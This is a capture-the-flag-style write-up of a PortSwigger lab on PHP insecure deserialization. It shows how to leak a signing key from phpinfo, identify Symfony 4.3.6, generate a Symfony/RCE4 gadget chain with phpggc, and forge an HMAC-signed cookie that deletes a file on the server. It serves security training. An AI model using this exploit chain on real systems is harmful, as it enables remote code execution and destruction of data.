| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Insecure Deserialization — PHP, Signed Cookie, Symfony Gadget Chain via phpggc |
| Difficulty | Practitioner |
| Objective | Identify the target framework, generate a malicious serialized object, sign it correctly, and use it to delete morale.txt from Carlos's home directory |
| Note | No source code access; uses a signed cookie |
Exploiting PHP Deserialization with a Pre-Built Gadget Chain¶
Inspecting the page source revealed a commented-out debug link:
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
Navigating to /cgi-bin/phpinfo.php:
A live phpinfo() page — already a critical information leakage. It can expose secret keys, configuration paths, PHP version, installed extensions, and more. The secret key was right there in the output.
I logged in as wiener:peter and highlighted the session cookie in Burp's Inspector:
{"token":"Tzo0OiJVc2VyIjoyO...","sig_hmac_sha1":"609b38d13e9230286df1e16459a05a8f4cfdc792"}
The token decodes to a PHP serialized User object. The cookie is a JSON wrapper around that base64-encoded object plus an HMAC-SHA1 signature — any modification to the token invalidates the signature, so the server verifies the two match before deserializing.
Finding the secret key in the phpinfo output:
A signed serialized cookie is not inherently safe — if the signing key leaks, the signature can be forged on any payload. Deliberately modifying the cookie to trigger an error revealed the framework:
Internal Server Error: Symfony Version: 4.3.6
PHP Fatal error: Uncaught Exception: Signature does not match session in /var/www/index.php:7
Symfony 4.3.6, signature verification confirmed working. The exploit chain from here is three steps: identify the framework version, generate a matching gadget chain payload, re-sign it with the leaked key. Any one piece missing breaks the whole attack.
I used phpggc — the PHP equivalent of ysoserial, targeting known gadget chains in PHP frameworks — to find the right chain:
./phpggc -l
Symfony/RCE4 covers versions 3.4.0-34, 4.2.0-11, 4.3.0-7 — which includes Symfony 4.3.6. Generating the payload:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0; echo
With the base64 payload ready, I wrote a PHP script to generate a correctly-signed cookie using the leaked secret key:
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6...";
$secretKey = "4rgc0k5ghu15ix9pisyfhxlqrfmaqhco";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>
Pasting the generated cookie into browser storage:
The server deserialized the object, the Symfony gadget chain triggered, and exec('rm /home/carlos/morale.txt') ran server-side.
Lab solved 6.6